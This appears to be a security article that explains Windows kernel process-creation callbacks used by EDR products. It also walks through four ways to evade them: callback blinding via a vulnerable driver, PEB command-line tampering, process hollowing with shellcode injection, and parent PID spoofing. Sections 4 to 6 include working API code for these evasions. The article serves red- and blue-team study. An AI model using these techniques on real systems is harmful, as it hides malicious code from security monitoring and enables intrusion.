CONTENTS
0 what are kernel callbacks
1 registration
2 the notification — ps_create_notify_info
3 bypass — callback blinding
4 bypass — command-line tampering
5 bypass — process hollowing
6 bypass — parent pid spoofing
7 conclusion
──[ 0. What Are Kernel Callbacks ]──
Kernel callbacks (a.k.a. kernel notification routines) are a mechanism built
into the Windows kernel for security vendors. A kernel driver registers a
function, and the kernel fires it automatically when a specific system event
happens — process creation, thread creation, image load, registry write, etc.
That's the foundation of modern EDR kernel telemetry. Wins over older approaches
(inline hooking, SSDT patching):
- No kernel patching (KPP/PatchGuard blocks that anyway)
- Microsoft-supported, stable across OS versions
- Centrally managed by the kernel, no driver ordering issues
- Rich context comes with each notification
A Callback Object is an internal kernel struct managing a list of registered
routines for a given event type. EDRs have to register a separate callback per
event type they care about. Any gap is a potential blind spot.
──[ 1. Registration ]──
To subscribe to process creation events, a driver calls:
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
BOOLEAN Remove
);
NotifyRoutine — function to call on each event
Remove — FALSE to register, TRUE to unregister
Other common registration calls:
PsSetCreateProcessNotifyRoutine — process creation (older, less info)
PsSetCreateThreadNotifyRoutine — thread creation/deletion
PsSetLoadImageNotifyRoutine — executable / DLL image load
CmRegisterCallback — registry operations
FltRegisterFilter — file system minifilter (see minifilters)
──[ 2. The Notification — PS_CREATE_NOTIFY_INFO ]──
When a process is created, the registered routine gets a pointer to
PS_CREATE_NOTIFY_INFO:
typedef struct _PS_CREATE_NOTIFY_INFO {
SIZE_T Size;
union {
ULONG Flags;
struct {
ULONG FileOpenNameAvailable : 1;
ULONG IsSubsystemProcess : 1;
ULONG Reserved : 30;
};
};
HANDLE ParentProcessId;
CLIENT_ID CreatingThreadId;
FILE_OBJECT *FileObject;
PCUNICODE_STRING ImageFileName;
PCUNICODE_STRING CommandLine;
NTSTATUS CreationStatus;
} PS_CREATE_NOTIFY_INFO;
Key fields for detection:
CommandLine Full command-line string
ImageFileName Executable image path
ParentProcessId Parent's PID
An EDR can flag suspicious patterns:
cmd.exe spawned by outlook.exe — likely macro execution
powershell.exe with an encoded -enc argument
notepad.exe spawning a child process
A HANDLE in Windows is an opaque integer pointing to a kernel object without
exposing its address. From a ParentProcessId, an EDR can open the parent,
inspect its memory, enumerate its own parent — building a full process tree.
──[ 3. Bypass — Callback Blinding ]──
The most direct bypass: find the kernel callback table and zero out the EDR's
registered function pointer.
Needs Ring 0 — in practice, via BYOVD (see the BYOVD article).
Flow:
1. Load a signed-but-vulnerable driver (BYOVD).
2. Use its R/W primitives to scan kernel memory.
3. Find the internal callback arrays for each notification type.
4. For each slot, read the function pointer, resolve the driver name.
5. If the driver looks like an EDR component, zero the entry.
The callback table entries are just an array of function pointers in kernel
memory. With kernel write access, zeroing an entry pulls the EDR out of the
notification chain for good (until reboot).
Notable bits from open-source BYOVD PoCs:
GetPspNotifyRoutineArray() — pattern-scans kernel memory for the
callback array
IsEDR() — checks if a driver name looks like a
known EDR
PrintAndClearCallBack() — walks the array and zeros EDR entries
Callback tables targeted:
CmRegisterCallback
ObRegisterCallbacks
PsSetCreateProcessNotifyRoutine
PsSetCreateThreadNotifyRoutine
PsSetLoadImageNotifyRoutine
──[ 4. Bypass — Command-Line Tampering ]──
EDRs lean heavily on CommandLine from PS_CREATE_NOTIFY_INFO to flag bad
commands. This trick abuses the fact that the command line lives in user-mode
memory (PEB.ProcessParameters.CommandLine) before the kernel callback fires.
Attack:
1. Create a child process SUSPENDED with a benign command line. The
process exists but can't run yet (CREATE_SUSPENDED flag).
CreateProcessA(target, "benign args", ..., CREATE_SUSPENDED, ..., &pi);
2. Find the child's PEB address:
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, ...);
3. Overwrite CommandLine in the child's PEB with the real malicious
command line:
WriteProcessMemory(pi.hProcess, cmdLineAddr, realCmd, realCmdLen, NULL);
4. Resume:
ResumeThread(pi.hThread);
The kernel callback already fired at process creation with the fake benign
command line. By the time the process actually runs, the PEB has the real
command line back.
Constraints:
- You need to control the parent
- New command line has to be the same length or shorter than the
placeholder (growing the buffer needs extra work)
Cobalt Strike's fork-and-run uses a variant of this.
──[ 5. Bypass — Process Hollowing ]──
Process Hollowing replaces the code of a legitimate process with a payload. From
the kernel callback's perspective, the callback fires with the legit image name
(notepad.exe), so static checks pass.
1. Create the target process suspended (CREATE_SUSPENDED). The
callback fires here — with the legit image and command line.
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, ...,
CREATE_SUSPENDED, ..., &pi);
2. Allocate RWX memory in the remote process:
exec_mem = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
3. Write the shellcode / payload:
WriteProcessMemory(pi.hProcess, exec_mem, shellcode, shellcodeSize, NULL);
4. Resume via a remote thread pointing at the payload:
CreateRemoteThread(pi.hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)exec_mem,
NULL, 0, NULL);
Tree shows notepad.exe, the kernel callback reported a legit image, your
injected code runs under that cover undetected.
──[ 6. Bypass — Parent PID Spoofing ]──
EDRs build a process tree from ParentProcessId values. A suspicious parent (Word
→ PowerShell) trips behavioural rules. Spoof the parent ID, kill the rule.
CreateProcessW takes an extended STARTUPINFOEX that lets you specify an
arbitrary parent handle via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.
STARTUPINFOEXA si = { 0 };
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
PROCESS_INFORMATION pi;
SIZE_T size;
// Open the target "parent" process (admin rights needed)
HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPid);
// Build the attribute list
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = malloc(size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// Set the spoofed parent
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hFakeParent, sizeof(HANDLE), NULL, NULL);
// Launch the child — the kernel will record hFakeParent as its parent
CreateProcessA(NULL, "notepad.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
&si.StartupInfo, &pi);
The notepad.exe you spawn will show up in the process tree as a child of
whatever owns targetPid, regardless of who really called.
──[ 7. Conclusion ]──
Kernel callbacks are the most robust telemetry mechanism Windows gives security
vendors — robust because they don't need kernel patching and they pass rich
context. Bypassing them is harder than userland tricks:
Callback blinding needs Ring 0 (BYOVD)
PEB/cmdline tampering needs control of the parent
Process hollowing visible to memory-scanning heuristics
PID spoofing visible if the EDR cross-checks parent handles
Modern EDRs combine several detection layers, so beating one callback type is
rarely enough on its own. Knowing the full attack surface — and which callbacks
an EDR actually uses — is essential for both red and blue teams.